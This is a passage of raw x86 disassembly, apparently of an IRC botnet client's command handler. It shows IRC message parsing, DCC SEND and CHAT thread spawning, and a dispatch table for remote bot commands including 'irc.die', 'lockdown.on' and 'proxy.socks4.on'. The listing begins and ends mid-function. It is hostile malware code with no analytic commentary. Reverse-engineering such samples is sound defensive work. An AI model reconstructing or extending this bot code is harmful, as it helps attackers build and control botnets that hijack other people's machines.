		jnz	loc_40EED2
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		add	esp, 10h
		jmp	loc_40EED2
; ---------------------------------------------------------------------------

loc_40EE2E:				; CODE XREF: sub_40EC43+1A9j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E65
		push	esi
		push	offset a005	; "005"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E65
		push	esi
		push	offset a302	; "302"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EE99
		push	offset a@	; "@"
		push	[ebp+var_88]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40EED2
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_418910
		add	esp, 0Ch
		jmp	short loc_40EED2
; ---------------------------------------------------------------------------

loc_40EE99:				; CODE XREF: sub_40EC43+22Aj
		push	esi
		push	offset a433	; "433"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EED9
		push	ebx
		push	dword_489264
		push	dword_42E924
		push	[ebp+arg_10]
		call	sub_415A3A
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		add	esp, 1Ch

loc_40EED2:				; CODE XREF: sub_40EC43+1CAj
					; sub_40EC43+1E6j ...
		mov	eax, edi
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_40EED9:				; CODE XREF: sub_40EC43+265j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_E8], 2
		mov	edi, 80h

loc_40EEEB:				; CODE XREF: sub_40EC43+2CDj
		lea	eax, [ebp+var_D50]
		push	eax
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EF08
		mov	[ebp+var_AC], 1

loc_40EF08:				; CODE XREF: sub_40EC43+2B9j
		add	esi, edi
		dec	[ebp+var_E8]
		jnz	short loc_40EEEB
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EFF1
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2

loc_40EF37:				; CODE XREF: sub_40EC43+373j
		cmp	[esi], bl
		jz	short loc_40EFB1
		push	7Fh
		lea	eax, [ebp+var_D50]
		push	esi
		push	eax
		call	sub_418910
		add	esp, 0Ch
		cmp	[ebp+var_88], ebx
		jz	short loc_40EFB1
		push	[ebp+var_88]
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EFB1
		lea	eax, [ebp+var_D4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_437BD0
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D430
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		add	esp, 20h

loc_40EFB1:				; CODE XREF: sub_40EC43+2F6j
					; sub_40EC43+310j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40EF37
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F098
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_40EFE4:				; CODE XREF: sub_40EC43+5D6j
					; sub_40EC43+918j
		push	[ebp+arg_4]
		call	sub_40D430
		jmp	loc_41464E
; ---------------------------------------------------------------------------

loc_40EFF1:				; CODE XREF: sub_40EC43+2E4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F12D
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax

loc_40F01A:				; CODE XREF: sub_40EC43+429j
		lea	eax, [ebp+var_D50]
		push	eax
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F067
		lea	eax, [ebp+var_D50]
		push	21h
		push	eax
		call	sub_418C50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40F067
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_4176C0
		push	[ebp+arg_1C]
		push	edi
		call	sub_4176D0
		add	esp, 10h
		mov	edi, 80h

loc_40F067:				; CODE XREF: sub_40EC43+3E8j
					; sub_40EC43+3FFj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40F01A
		cmp	[ebp+arg_24], ebx
		jz	short loc_40F098
		push	[ebp+arg_10]
		lea	eax, [ebp+var_D4]
		push	eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F0A0
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_418910
		add	esp, 0Ch

loc_40F098:				; CODE XREF: sub_40EC43+5Bj
					; sub_40EC43+E4j ...
		xor	eax, eax
		inc	eax

loc_40F09B:				; CODE XREF: sub_40EC43+291j
					; sub_40EC43+29AEj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F0A0:				; CODE XREF: sub_40EC43+443j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F0A5:				; CODE XREF: sub_40EC43+483j
		cmp	[edi], bl
		jz	short loc_40F0BC
		lea	eax, [ebp+var_D50]
		push	eax
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F0CA

loc_40F0BC:				; CODE XREF: sub_40EC43+464j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F0A5
		jmp	short loc_40F098
; ---------------------------------------------------------------------------

loc_40F0CA:				; CODE XREF: sub_40EC43+477j
		lea	eax, [ebp+var_D50]
		push	21h
		push	eax
		call	sub_418C50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40F098
		push	eax
		call	sub_4177B0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_4177B0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_40F098
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_1	; ":%s%s"
		push	esi
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_350]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 24h
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_40F12D:				; CODE XREF: sub_40EC43+3BDj
		push	esi
		push	offset aPart	; "PART"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F14F
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F176

loc_40F14F:				; CODE XREF: sub_40EC43+4F9j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_40F154:				; CODE XREF: sub_40EC43+531j
		cmp	[edi], bl
		jz	short loc_40F16A
		push	[ebp+var_94]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F1BD

loc_40F16A:				; CODE XREF: sub_40EC43+513j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40F154

loc_40F176:				; CODE XREF: sub_40EC43+50Aj
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F21E
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F1AD
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40F1AD:				; CODE XREF: sub_40EC43+55Fj
		push	[ebp+var_84]
		push	offset dword_437B74
		jmp	loc_414E59
; ---------------------------------------------------------------------------

loc_40F1BD:				; CODE XREF: sub_40EC43+525j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset unk_437B44
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4173D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F098
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40EFE4
; ---------------------------------------------------------------------------

loc_40F21E:				; CODE XREF: sub_40EC43+547j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4173D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F272
		push	[ebp+var_90]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F272
		push	[ebp+var_90]
		push	offset dword_437B40
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414CDE
		cmp	dword_42E910, ebx
		jz	loc_414CDE

loc_40F272:				; CODE XREF: sub_40EC43+5F5j
					; sub_40EC43+607j
		push	[ebp+var_90]
		push	esi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3EB
		push	[ebp+var_90]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F3EB
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		mov	[ebp+var_BC], 4
		mov	[ebp+var_8C], eax

loc_40F2BA:				; CODE XREF: sub_40EC43+867j
					; sub_40EC43+8EDj ...
		mov	eax, [ebp+var_BC]
		mov	esi, eax
		shl	esi, 2
		lea	edi, [ebp+esi+var_94]
		mov	eax, [edi]
		push	eax
		push	offset dword_437B38
		mov	[ebp+arg_8], eax
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F6D4
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F59C
		cmp	[ebp+var_AC], ebx
		jz	loc_40F572
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_3 ; "%s"
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		call	sub_416FB6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_86C]
		push	edi
		push	eax
		call	sub_416FB6
		push	[ebp+esi+var_84]
		call	sub_41751F
		mov	[ebp+var_6D4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_874], eax
		lea	eax, [ebp+var_D4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6CC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_754]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_437AF4
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	12h
		push	eax
		call	sub_416A7A
		add	esp, 44h
		mov	[ebp+var_6D0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_874]
		push	ebx
		push	eax
		push	offset sub_40C6D2
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_6D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jz	loc_4136F1
		jmp	loc_40F568
; ---------------------------------------------------------------------------

loc_40F3EB:				; CODE XREF: sub_40EC43+63Fj
					; sub_40EC43+655j
		push	[ebp+var_90]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F404
		mov	[ebp+var_4], 1

loc_40F404:				; CODE XREF: sub_40EC43+7B8j
		cmp	[ebp+var_8C], ebx
		jz	loc_40F098
		push	(offset	loc_4279FF+1)
		push	[ebp+var_8C]
		call	sub_417580
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F42B
		cmp	[ebp+var_4], ebx
		jz	short loc_40F437

loc_40F42B:				; CODE XREF: sub_40EC43+7E1j
		lea	eax, [ebp+var_D4]
		mov	[ebp+var_8C], eax

loc_40F437:				; CODE XREF: sub_40EC43+7E6j
		cmp	[ebp+var_88], ebx
		jz	loc_40F098
		inc	[ebp+var_88]
		jz	short loc_40F481
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F481
		lea	eax, [ebp+var_450]
		push	eax
		call	sub_4177B0
		push	eax
		lea	eax, [ebp+var_450]
		push	[ebp+var_88]
		push	eax
		call	sub_418AA0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_BC], eax
		jmp	short loc_40F487
; ---------------------------------------------------------------------------

loc_40F481:				; CODE XREF: sub_40EC43+806j
					; sub_40EC43+80Bj
		mov	eax, [ebp+var_BC]

loc_40F487:				; CODE XREF: sub_40EC43+83Cj
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_94]
		cmp	edi, ebx
		jz	loc_40F098
		push	edi
		push	offset dword_437AE8
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F2BA
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F521
		mov	eax, dword_489270
		mov	eax, off_42EA08[eax*4]
		cmp	[eax], bl
		jz	short loc_40F521
		push	eax
		push	ecx
		push	offset dword_437ACC
		push	[ebp+arg_4]
		call	sub_40D430
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		add	esp, 20h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F098
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1
		push	eax
		push	offset dword_489184
		jmp	loc_41449D
; ---------------------------------------------------------------------------

loc_40F521:				; CODE XREF: sub_40EC43+876j
					; sub_40EC43+886j
		push	edi
		push	offset dword_437AA8
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F2BA
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	loc_40F2BA
		mov	eax, [ebp+var_8C]
		cmp	byte ptr [eax],	23h
		jz	loc_40F2BA
		push	esi
		push	eax
		push	offset dword_437A90
		jmp	loc_40EFE4
; ---------------------------------------------------------------------------

loc_40F560:				; CODE XREF: sub_40EC43+92Bj
		push	32h
		call	dword_423064	; Sleep

loc_40F568:				; CODE XREF: sub_40EC43+7A3j
		cmp	[ebp+var_6C4], ebx
		jz	short loc_40F560
		jmp	short loc_40F594
; ---------------------------------------------------------------------------

loc_40F572:				; CODE XREF: sub_40EC43+6C4j
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	[ebp+esi+var_8C]
		push	offset dword_437A40
		push	eax
		call	sub_416FB6
		add	esp, 10h

loc_40F594:				; CODE XREF: sub_40EC43+92Dj
					; sub_40EC43+A6Aj ...
		xor	esi, esi
		inc	esi
		jmp	loc_4115E2
; ---------------------------------------------------------------------------

loc_40F59C:				; CODE XREF: sub_40EC43+6B8j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F6EA
		cmp	[ebp+var_AC], ebx
		jz	loc_40F6C3
		push	13h
		call	sub_416CBC
		test	eax, eax
		pop	ecx
		jnz	loc_40F6B2
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_86C]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		push	[ebp+esi+var_84]
		call	sub_41751F
		mov	[ebp+var_6D4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_874], eax
		lea	eax, [ebp+var_D4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_418910
		mov	eax, [ebp+var_4]
		mov	[ebp+var_6CC], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_6C8], eax
		lea	eax, [ebp+var_D4]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset dword_437A04
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	13h
		push	eax
		call	sub_416A7A
		add	esp, 34h
		mov	[ebp+var_6D0], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_874]
		push	ebx
		push	eax
		push	offset sub_40C16F
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_6D0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_40F6A5
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4379C0
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_40F69D:				; CODE XREF: sub_40EC43+A68j
		push	32h
		call	dword_423064	; Sleep

loc_40F6A5:				; CODE XREF: sub_40EC43+A47j
		cmp	[ebp+var_6C4], ebx
		jz	short loc_40F69D
		jmp	loc_40F594
; ---------------------------------------------------------------------------

loc_40F6B2:				; CODE XREF: sub_40EC43+98Aj
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset dword_437980
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_40F6C3:				; CODE XREF: sub_40EC43+97Aj
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset dword_437940
		jmp	loc_412988
; ---------------------------------------------------------------------------

loc_40F6D4:				; CODE XREF: sub_40EC43+69Dj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42E91C
		mov	[edi], ecx
		jnz	loc_40F098

loc_40F6EA:				; CODE XREF: sub_40EC43+96Ej
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_1 ; "c"
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CE6
		push	[ebp+arg_8]
		push	edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CE6
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F73A
		push	[ebp+var_90]
		push	offset dword_437B40
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414CDE

loc_40F73A:				; CODE XREF: sub_40EC43+ADBj
		cmp	[ebp+arg_28], ebx
		jnz	loc_414CDE
		xor	edi, edi
		cmp	dword_4306F8, ebx
		jle	loc_40F8DE
		mov	[ebp+arg_20], offset dword_4437E8

loc_40F758:				; CODE XREF: sub_40EC43+B34j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F77E
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4306F8
		jl	short loc_40F758
		jmp	loc_40F8DE
; ---------------------------------------------------------------------------

loc_40F77E:				; CODE XREF: sub_40EC43+B24j
		push	offset asc_437C50 ; " :"
		push	[ebp+arg_0]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F098
		mov	cl, byte_42E91C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42E91C
		mov	[eax+3], cl
		lea	ecx, dword_443800[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418910
		lea	eax, dword_4437E8[edi]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax
		lea	edi, [ebp+esi+var_54]

loc_40F7D9:				; CODE XREF: sub_40EC43+C30j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417580
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F83B
		cmp	[edi], ebx
		jz	short loc_40F83F
		push	[ebp+arg_C]
		call	sub_4177B0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40F86A
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40F86A
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A610
		add	esp, 0Ch
		jmp	short loc_40F86A
; ---------------------------------------------------------------------------

loc_40F83B:				; CODE XREF: sub_40EC43+BBEj
		cmp	[edi], ebx
		jnz	short loc_40F86A

loc_40F83F:				; CODE XREF: sub_40EC43+BC2j
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A610
		add	esp, 18h

loc_40F86A:				; CODE XREF: sub_40EC43+BD0j
					; sub_40EC43+BE1j ...
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40F7D9
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40F886:				; CODE XREF: sub_40EC43+C8Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417580
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F8C9
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40F8C9
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A610
		add	esp, 0Ch

loc_40F8C9:				; CODE XREF: sub_40EC43+C6Bj
					; sub_40EC43+C71j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40F886
		mov	[ebp+var_EC], 1

loc_40F8DE:				; CODE XREF: sub_40EC43+B08j
					; sub_40EC43+B36j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42E91C
		jz	short loc_40F8F7
		cmp	[ebp+var_EC], ebx
		jz	loc_40FAD7

loc_40F8F7:				; CODE XREF: sub_40EC43+CA6j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A610
		lea	eax, [ebp+var_D4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A610
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A610
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415A3A
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A610
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A610
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417580
		add	esp, 14h
		jmp	loc_40FA52
; ---------------------------------------------------------------------------

loc_40F96E:				; CODE XREF: sub_40EC43+E11j
		push	edi
		push	[ebp+arg_0]
		call	sub_417580
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_B8]
		push	offset asc_4378F8 ; ")"
		push	eax
		call	sub_41886E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40F9B2
		cmp	[ebp+var_B8], 39h
		jle	short loc_40F9C8

loc_40F9B2:				; CODE XREF: sub_40EC43+D64j
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418910
		add	esp, 0Ch

loc_40F9C8:				; CODE XREF: sub_40EC43+D6Dj
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41751F
		test	eax, eax
		pop	ecx
		jle	short loc_40F9EB
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41751F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40F9FC
; ---------------------------------------------------------------------------

loc_40F9EB:				; CODE XREF: sub_40EC43+D94j
		call	sub_417012
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl

loc_40F9FC:				; CODE XREF: sub_40EC43+DA6j
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_4177B0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417030
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A610
		push	edi
		push	[ebp+arg_0]
		call	sub_417580
		add	esp, 30h

loc_40FA52:				; CODE XREF: sub_40EC43+D26j
		test	eax, eax
		jnz	loc_40F96E
		mov	edi, 1FFh
		lea	eax, [ebp+var_2324]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418910
		lea	eax, [ebp+var_2324]
		push	edi
		push	eax
		lea	eax, [ebp+var_2524]
		push	eax
		call	sub_418910
		mov	edi, offset asc_429420 ; " "
		lea	eax, [ebp+var_2524]
		push	edi
		push	eax
		call	sub_41886E
		add	esp, 20h
		mov	[ebp+var_94], eax
		mov	[ebp+arg_10], 1

loc_40FAA5:				; CODE XREF: sub_40EC43+E7Cj
		push	edi
		push	ebx
		call	sub_41886E
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		inc	[ebp+arg_10]
		cmp	[ebp+arg_10], 20h
		mov	[ebp+ecx*4+var_94], eax
		jl	short loc_40FAA5
		lea	eax, [ebp+esi+var_94]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_40F098
		add	ecx, 3
		mov	[eax], ecx

loc_40FAD7:				; CODE XREF: sub_40EC43+CAEj
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414C91
		push	edi
		push	offset aRn	; "rn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414C91
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414C6F
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414C6F
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aLo	; "lo"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BC2
		push	edi
		push	offset aVer	; "ver"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BC2
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC5
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC5
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC5
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC5
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149A4
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149A4
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4173D0
		pop	ecx
